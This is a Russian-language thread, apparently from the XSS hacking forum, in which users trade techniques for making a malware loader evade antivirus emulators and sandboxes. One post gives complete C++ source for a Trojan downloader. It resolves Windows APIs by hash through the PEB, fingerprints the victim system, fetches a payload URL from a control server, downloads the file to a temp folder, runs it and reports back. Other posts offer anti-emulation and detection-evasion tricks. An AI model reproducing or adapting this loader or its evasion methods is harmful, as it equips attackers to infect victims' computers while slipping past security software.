• XSS.stack #1 – первый литературный журнал от юзеров форума

Избавиться от 2-ух детектов

Пожалуйста, обратите внимание, что пользователь заблокирован
E-agle
Как это сделать? И разве аверы эмулят РЕВ?

DASM32
Проблема в том, что я именно оттуда взял макросы для импорта + саму идею про шифрование имен апи. Только вместо ксора - rol, и вместо shellexecute - winexeс, а так все почти такое же. :(
 
Как это сделать?
наебать эмуль, задетектить запуск под сндбоксом :)
И разве аверы эмулят РЕВ?
эмулят...
 
Quake3

что я именно оттуда взял макросы для импорта + саму идею про шифрование имен апи. Только вместо ксора - rol, и вместо shellexecute - winexeс, а так все почти такое же.

А как же часть про

Но я не использую статический ключ шифрования, я, как уже и сказал, воспользовался функцией QueryDosDevice, которая позволяет получить некоторую информацию о желаемом диске. Вся фишка тут в том, что я передал ей вполне легальные параметры, но вот размер буфера очень ограничил (последний параметр функции - 5 байтов, а этого явно мало для записи целой длинной строки с информацией). А это значит, что функция вернет ошибку (0), и дальше я проверяю это. Но и это еще не все - после такого обращения к функции последняя ошибка будет выставлена в ERROR_INSUFFICIENT_BUFFER, о чем антивирус вообще едва ли знает, и именно это значение (после некоторых преобразований, чтобы зашифрованный вариант был текстовым, как и оригинальная строка) я и использую для шифрования строк.
...
Как мы только что выяснили, ни один из этих антивирусов не эмулирует PEB и ядро kernel32, подгруженное всегда в любой процесс Windows (или просто не знает ничего о функции QueryDosDevice, или вообще и то и то одновременно).

?
 
распространенные апи либо частично эмулировать стали либо у них есть уже база ответов ошибок распространенных апи, которые они подставляют для эмуляции...
 
Пожалуйста, обратите внимание, что пользователь заблокирован
DASM32
Я сделал примерно так же, только взял другую апи. Т.к. эту статью прочитали (и скомпилировали) множество людей, я решил, что QueryDosDevice может дать лишний детект, и взял другую апи. Помнится, когда-то на васме была такая же ситуация, только с функцией из gdi.
 
Quake3 еще интересный вариант встречался - следить за движениями мышки по форме вроде. Если их нет - значит ты под эмулем :)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Или я чего-то не понимаю, или не так компилирую. Или Масм код по дефолту палится всем подряд. Но заменил на querydosdevice, детектов стало меньше, но все же они есть http://chk4me.com/check/public/58b9rCk806i...OL670Dv4n8R_617 Причем опять же Trojan-Downloader.

Код расшифровки я не скопипастил с блога, а написал сам, т.е. аверу по сигнатурам он не должен был известен. Но все же.

DASM32
А если нет формы - можно ли это использовать, или создавать скрытую форму? Просто практически не работал с gui приложениями.

Upd. Меня, собственно, детекты Generic и т.п. мало интересуют - я понимаю, что маленький файл, нет ресурсов и т.д. палится всегда, хоть там один екзитпроцесс. Но меня озадачивает то, что авер палит, что это именно лоадер.
 
еще интересный вариант встречался - следить за движениями мышки по форме вроде. Если их нет - значит ты под эмулем

кав генерит такие движения курсором :)
 
Эмулятор раскладывает алгоритм программы на графы.
Все возможные(на его взгляд), варианты исполнения проверяются.
Мусорный код должен быть валидным. Другими словами, генерироваться компилятором. Тебе квейк будет удобно поиграться с макросами и препроцессором фасма.

А по поводу детекта, пробуй обламывать эмулятор жестче.
Вызов апи, передовая в стек неинициализированные структуры, строки, короткие буферы. Главное, чтобы код возврата проверялся, а не статус GetLastError.

А вообще-то, что то ты не так делаешь. Ищи в других местах детект.
Вот такой результат у меня, анти-эмуля нет абсолютно :)

чек: http://chk4me.com/check/public/d8aB_fz4sU46HjT26K2w9Y3Vi3bk


сорцы:
Код:
#include <windows.h>
#include <wininet.h>
#include <winternl.h>
#include <tlhelp32.h>
#include <intrin.h>
#include <shlwapi.h>
#include <shlobj.h>


extern "C" unsigned int _Hash(const char *string)
{
	size_t len = 0;

	while(string[len])
  len++;

	unsigned int hash = 0;

	for(size_t i = 0; i < len; ++i)
	{
  hash = 65599 * hash + string[i];
	}
	return hash ^ (hash >> 16);
}

extern "C" int _compare(const void *mem1, const void *mem2, SIZE_T size)
{
	register BYTE m1, m2;
	
	for(register SIZE_T i = 0; i < size; i++)
	{
  m1 = ((LPBYTE)mem1)[i];
  m2 = ((LPBYTE)mem2)[i];
  if(m1 != m2)
  	return (int)(m1 - m2);
	}
	return 0;
}


extern "C" void *_LookupAPI(HMODULE module, unsigned int APIHASH)
{
	PIMAGE_NT_HEADERS32 ntHeaders  = (PIMAGE_NT_HEADERS32)((LPBYTE)module + ((PIMAGE_DOS_HEADER)module)->e_lfanew);
	PIMAGE_DATA_DIRECTORY impDir = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
	PIMAGE_EXPORT_DIRECTORY ied =  (PIMAGE_EXPORT_DIRECTORY)((LPBYTE)module + impDir->VirtualAddress);

	for(DWORD i = 0; i < ied->NumberOfNames; i++)
	{
  LPDWORD curName = (LPDWORD)(((LPBYTE)module) + ied->AddressOfNames + i * sizeof(DWORD));

  if(_Hash((LPSTR)((LPBYTE)module + *curName)) == APIHASH)
  {
  	LPWORD pw = (LPWORD)(((LPBYTE)module) + ied->AddressOfNameOrdinals + i * sizeof(WORD));
  	curName = (LPDWORD)(((LPBYTE)module) + ied->AddressOfFunctions + (*pw) * sizeof(DWORD));
  	return ((LPBYTE)module + *curName);
  }
	}

	return NULL;
}

typedef HMODULE (__stdcall *_LoadLibraryA)(LPCSTR);
typedef BOOL    (__stdcall *_CreateProcessW)(LPCWSTR,LPWSTR,LPSECURITY_ATTRIBUTES,LPSECURITY_ATTRIBUTES,BOOL,DWORD,LPVOID,LPCWSTR,LPSTARTUPINFO,LPPROCESS_INFORMATION);
typedef void    (__stdcall *_ExitProcess)(UINT);
typedef int     (__stdcall *_MultiByteToWideChar)(UINT,DWORD,LPCSTR,int,LPWSTR,int);
typedef DWORD   (__stdcall *_GetTempPathW)(DWORD,LPWSTR);
typedef UINT    (__stdcall *_GetTempFileNameW)(LPCWSTR,LPCWSTR,UINT,LPWSTR);
typedef HANDLE  (__stdcall *_GetCurrentProcess)();
typedef DWORD   (__stdcall *_GetVersion)();
typedef BOOL    (__stdcall *_IsWow64Process)(HANDLE,PBOOL);
typedef HANDLE  (__stdcall *_CreateFileW)(LPCWSTR,DWORD,DWORD,LPSECURITY_ATTRIBUTES,DWORD,DWORD,HANDLE);
typedef BOOL    (__stdcall *_WriteFile)(HANDLE,LPCVOID,DWORD,LPDWORD,LPOVERLAPPED);
typedef BOOL    (__stdcall *_CloseHandle)(HANDLE);
typedef void    (__stdcall *_Sleep)(DWORD);
typedef DWORD   (__stdcall *_GetModuleFileNameW)(HMODULE,LPWSTR,DWORD);
typedef BOOL    (__stdcall *_GetSystemPowerStatus)(LPSYSTEM_POWER_STATUS);
typedef int     (__stdcall *_wsprintfW)(LPWSTR,LPCWSTR,...);
typedef BOOL    (__stdcall *_InternetCloseHandle)(LPVOID);
typedef LPVOID  (__stdcall *_InternetOpenW)(LPCWSTR,DWORD,LPCWSTR,LPCWSTR,DWORD);
typedef BOOL    (__stdcall *_InternetReadFile)(LPVOID,LPVOID,DWORD,LPDWORD);
typedef LPVOID  (__stdcall *_InternetOpenUrlW)(LPVOID,LPCWSTR,LPCWSTR,DWORD,DWORD,DWORD_PTR);


typedef BOOL    (__stdcall *_VirtualFreeEx)(HANDLE,LPVOID,SIZE_T,DWORD);
typedef BOOL    (__stdcall *_VirtualFree)(LPVOID,SIZE_T,DWORD);
typedef BOOL    (__stdcall *_WriteProcessMemory)(HANDLE,LPVOID,LPCVOID,SIZE_T,SIZE_T *);
typedef LPVOID  (__stdcall *_VirtualAllocEx)(HANDLE,LPVOID,SIZE_T,DWORD,DWORD);
typedef LPVOID  (__stdcall *_VirtualAlloc)(LPVOID,SIZE_T,DWORD,DWORD);
typedef BOOL    (__stdcall *_IsBadReadPtr)(const void *,UINT_PTR);
typedef HANDLE  (__stdcall *_CreateRemoteThread)(HANDLE,LPSECURITY_ATTRIBUTES,SIZE_T,LPTHREAD_START_ROUTINE,LPVOID,DWORD,LPDWORD);
typedef HANDLE  (__stdcall *_OpenProcess)(DWORD,BOOL,DWORD);
typedef HMODULE (__stdcall *_GetModuleHandleW)(LPCWSTR);



struct apis
{
	HMODULE hmKERNEL32lib;
	HMODULE hmWininetlib; 
	HMODULE hmUser32lib;
	HMODULE hmADVAPI32;
	HMODULE hmShell32;

	_LoadLibraryA            f_LoadLibraryA;
	_CreateProcessW          f_CreateProcessW;
	_ExitProcess             f_ExitProcess;
	_MultiByteToWideChar     f_MultiByteToWideChar;
	_GetTempPathW            f_GetTempPathW;
	_GetTempFileNameW        f_GetTempFileNameW;
	_GetCurrentProcess       f_GetCurrentProcess;
	_GetVersion              f_GetVersion;
	_IsWow64Process          f_IsWow64Process;
	_CreateFileW             f_CreateFileW;
	_WriteFile               f_WriteFile;
	_CloseHandle             f_CloseHandle;
	_Sleep                   f_Sleep;
	_GetModuleFileNameW      f_GetModuleFileNameW;
	_GetSystemPowerStatus    f_GetSystemPowerStatus;

	_InternetOpenW           f_InternetOpenW;
	_InternetOpenUrlW        f_InternetOpenUrlW;
	_InternetReadFile        f_InternetReadFile;
	_InternetCloseHandle     f_InternetCloseHandle;
	_wsprintfW               f_wsprintfW;
};

extern "C" const char * strpbrk(const char *s, const char *set)
{
	const char *x;
	for (; *s; s++)
  for (x = set; *x; x++)
  	if (*s == *x)
    return (char *) s;
	return NULL;
}
extern "C" size_t strspn(const char *s, const char *set)
{
	const char *x;
	size_t i;

	for (i = 0; *s; s++, i++) {
  for (x = set; *x; x++)
  	if (*s == *x)
    goto continue_outer;
  break;
continue_outer:;
	}
	return i;
}


extern "C" void ShellCodeMain(apis *api)
{
	STARTUPINFOW si;
	PROCESS_INFORMATION pi;
	SYSTEM_POWER_STATUS ps;

	memset(&si, 0, sizeof(si));
	si.cb = sizeof(si);
	memset(&pi, 0, sizeof(pi));

	memset(&ps, 0, sizeof(ps));
	BOOL iResult = TRUE;
	BOOL bIsWOW = FALSE;

	DWORD dwVersion = 0; 
	DWORD dwMajorVersion = 0;
	DWORD dwMinorVersion = 0; 


	wchar_t szUrl[] = { L'h', L't', L't', L'p', L':', L'/', L'/', L'l', L'o', L'c', L'a', L'l', L'h', L'o', L's', L't', 
  L'/', L't', L'a', L's', L'k', L'.', L'p', L'h', L'p', L'?', 0 };


	dwVersion = api->f_GetVersion();

	dwMajorVersion = (DWORD)(LOBYTE(LOWORD(dwVersion)));
	dwMinorVersion = (DWORD)(HIBYTE(LOWORD(dwVersion)));

	api->f_IsWow64Process(api->f_GetCurrentProcess(), &bIsWOW);

	api->f_GetSystemPowerStatus(&ps);

	LPVOID hSession =
  api->f_InternetOpenW(0,0,0,0,0);
	if(hSession)
	{
  wchar_t szRetn1[] = { L'%', L's', L'v', L'=', L'%', L'd', L'.', L'%', L'd', L'.', L'%', L'd', L'.', L'%', L'd', 0 };
  wchar_t szTmpBuff1[128];

  api->f_wsprintfW(szTmpBuff1, szRetn1, szUrl, dwMajorVersion, dwMinorVersion, bIsWOW, ps.BatteryFlag);

  LPVOID hOpenURL1 = api->f_InternetOpenUrlW(hSession, szTmpBuff1, 0, 0, 0, 0);

  if(hOpenURL1)
  {
  	char lpBuffer[1024];
  	DWORD dwBytesOfRead = 1;

  	if(api->f_InternetReadFile(hOpenURL1, lpBuffer, 1023, &dwBytesOfRead) == TRUE)
  	{
    char *s1; 
    char lpDelimit[] = { '|', 0 };
    s1 = lpBuffer;
    char *tmp;
  	
    s1 += strspn(s1, lpDelimit);
    tmp = strpbrk(s1, lpDelimit);
    *tmp = '\0';	

    if(_Hash(s1) != 0x64) // 'd'
    {
    	wchar_t lpURL[256];
    	wchar_t szTempPath[MAX_PATH];
    	wchar_t lpTempFileName[MAX_PATH];
    	wchar_t lpPrefix[] = { 's', 0 };


    	api->f_MultiByteToWideChar(CP_ACP, 0, s1, -1, lpURL, 512);
    	
    	DWORD dwRetVal = 
      api->f_GetTempPathW(MAX_PATH, szTempPath);
    	if (dwRetVal > MAX_PATH || (dwRetVal == 0))
      iResult = FALSE;

    	if(iResult && api->f_GetTempFileNameW(szTempPath, lpPrefix, 0, lpTempFileName) == 0)
      iResult = FALSE;

    	LPVOID hOpenURL2 = api->f_InternetOpenUrlW(hSession, lpURL, 0, 0, 0, 0 );
    	HANDLE hFile = api->f_CreateFileW(lpTempFileName, GENERIC_WRITE, NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

    	char Buffer[100];
    	DWORD dwRead = 0;
    	while(api->f_InternetReadFile(hOpenURL2, Buffer, sizeof(Buffer), &dwRead) == TRUE)
    	{
      if ( dwRead == 0) 
      	break;
      DWORD dwWrite = 0;
      api->f_WriteFile(hFile, Buffer, dwRead, &dwWrite, NULL);
    	}

    	api->f_CloseHandle(hFile);
    	api->f_InternetCloseHandle(hOpenURL2);


    	api->f_Sleep(1000);

    	iResult = api->f_CreateProcessW(NULL, lpTempFileName, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);


    	wchar_t szRetn[]     = { L'%', L's', L'r', L'=', L'%', L'd', 0 };
    	wchar_t szTmpBuff[128];

    	api->f_wsprintfW(szTmpBuff, szRetn, szUrl, iResult);
    	api->f_InternetOpenUrlW(hSession, szTmpBuff, 0,0,0,0);
    }
  	}
  }
  api->f_InternetCloseHandle(hOpenURL1);

	}
	api->f_InternetCloseHandle(hSession);

	api->f_ExitProcess(0);
}


#define dwLoadLibraryA 0xdf2b64c7
#define dwCreateProcessW 0x86f57f11
#define dwExitProcess 0xb26a54fb
#define dwMultiByteToWideChar 0x46ea67af
#define dwGetTempPathW 0xad84f70
#define dwGetTempFileNameW 0xd518495e
#define dwGetCurrentProcess 0x6e1c30b0
#define dwGetVersion 0x682001a2
#define dwIsWow64Process 0xffa67b7a
#define dwCreateFileW 0x8df4c8eb
#define dwWriteFile 0xf8975bcc
#define dwCloseHandle 0x1b475f47
#define dwSleep 0xd8a4cdb3
#define dwInternetOpenW 0x8a559299
#define dwInternetOpenUrlW 0xd7ec76ff
#define dwInternetReadFile 0xcf07ba14
#define dwInternetCloseHandle 0x24388427
#define dwGetModuleFileNameW 0x4650ce7e
#define dwwsprintfW 0x7db9cf9
#define dwGetSystemPowerStatus 0xff135101

DWORD WINAPI ShellCodeInit()
{
	apis api;

	PPEB pPeb = (PPEB)__readfsdword(0x30);
	PLDR_DATA_TABLE_ENTRY pLdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)pPeb->Ldr->InMemoryOrderModuleList.Flink;

	PLIST_ENTRY pListEntry = pPeb->Ldr->InMemoryOrderModuleList.Flink;
	wchar_t szKernel32[] = { L'k', L'e', L'r', L'n', L'e', L'l', L'3', L'2', L'.', L'd', L'l', L'l', 0 };

	while(_compare(pLdrDataTableEntry->FullDllName.Buffer, szKernel32, 13))
	{
  pListEntry = pListEntry->Flink;
  pLdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)(pListEntry->Flink);	
	}

	api.hmKERNEL32lib = (HMODULE)pLdrDataTableEntry->Reserved2[0]; // KERNEL32.dll

	api.f_LoadLibraryA         = (_LoadLibraryA)_LookupAPI(api.hmKERNEL32lib, dwLoadLibraryA);
	api.f_CreateProcessW       = (_CreateProcessW)_LookupAPI(api.hmKERNEL32lib, dwCreateProcessW);
	api.f_ExitProcess          = (_ExitProcess)_LookupAPI(api.hmKERNEL32lib, dwExitProcess);
	api.f_MultiByteToWideChar  = (_MultiByteToWideChar)_LookupAPI(api.hmKERNEL32lib, dwMultiByteToWideChar);
	api.f_GetTempPathW         = (_GetTempPathW)_LookupAPI(api.hmKERNEL32lib, dwGetTempPathW);
	api.f_GetTempFileNameW     = (_GetTempFileNameW)_LookupAPI(api.hmKERNEL32lib, dwGetTempFileNameW);
	api.f_GetCurrentProcess    = (_GetCurrentProcess)_LookupAPI(api.hmKERNEL32lib, dwGetCurrentProcess);
	api.f_GetVersion           = (_GetVersion)_LookupAPI(api.hmKERNEL32lib, dwGetVersion);
	api.f_IsWow64Process       = (_IsWow64Process)_LookupAPI(api.hmKERNEL32lib, dwIsWow64Process);
	api.f_CreateFileW          = (_CreateFileW)_LookupAPI(api.hmKERNEL32lib, dwCreateFileW);
	api.f_WriteFile            = (_WriteFile)_LookupAPI(api.hmKERNEL32lib, dwWriteFile);
	api.f_CloseHandle          = (_CloseHandle)_LookupAPI(api.hmKERNEL32lib, dwCloseHandle);
	api.f_Sleep                = (_Sleep)_LookupAPI(api.hmKERNEL32lib, dwSleep);
	api.f_GetModuleFileNameW   = (_GetModuleFileNameW)_LookupAPI(api.hmKERNEL32lib, dwGetModuleFileNameW);
	api.f_GetSystemPowerStatus = (_GetSystemPowerStatus)_LookupAPI(api.hmKERNEL32lib, dwGetSystemPowerStatus);

	char buffer[32];

	*reinterpret_cast<DWORD*>(&buffer[0]) = 'iniW'; 
	*reinterpret_cast<DWORD*>(&buffer[4]) = 'ten';
	api.hmWininetlib = api.f_LoadLibraryA(buffer); // WININET.dll

	api.f_InternetOpenW       = (_InternetOpenW)_LookupAPI(api.hmWininetlib, dwInternetOpenW);
	api.f_InternetReadFile    = (_InternetReadFile)_LookupAPI(api.hmWininetlib, dwInternetReadFile);
	api.f_InternetCloseHandle = (_InternetCloseHandle)_LookupAPI(api.hmWininetlib, dwInternetCloseHandle);
	api.f_InternetOpenUrlW    = (_InternetOpenUrlW)_LookupAPI(api.hmWininetlib, dwInternetOpenUrlW);

	*reinterpret_cast<DWORD*>(&buffer[0]) = 'resU';
	*reinterpret_cast<DWORD*>(&buffer[4]) = '23';
	api.hmUser32lib = api.f_LoadLibraryA(buffer); // USER32.dll


	api.f_wsprintfW = (_wsprintfW)_LookupAPI(api.hmUser32lib, dwwsprintfW);
	
	ShellCodeMain(&api);
	return NULL;
}

extern "C" void * __cdecl memset(void *dst, int val, unsigned int count)
{
	void *start = dst;

	while (count--) {
  *(char *)dst = (char)val;
  dst = (char *)dst + 1;
	}

	return(start);
}

void * __cdecl memcpy (void * dst, const void * src, unsigned int count)
{
	void * ret = dst;

	while (count--) {
  *(char *)dst = *(char *)src;
  dst = (char *)dst + 1;
  src = (char *)src + 1;
	}

	return(ret);
}

Все так же впринципе, как ты описал. Только без UrlDownloadToFile\ShellExecute. х#й-проссу когда писал его правда, но видать я этот софт так и не грузил даже.
 
nerowolfe велкоме ту дамаджлаб :)

Не палится кодес потому что не под одно существующее семейство малвари не походит, а сигнатур на него еще нет, правда как только в мир уйдет, сначала косвенную классификацию, а потом и стабильный детект выдадут. Не эмулится, потому что анализатор кода !пока не видит реальных причин углублять эмуляцию, вообщем как говорится до первого вирустотала:)

p.s. кодес написан довольно таки грамотно, можно сказать пример написания шеллкод-кода на сях...
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх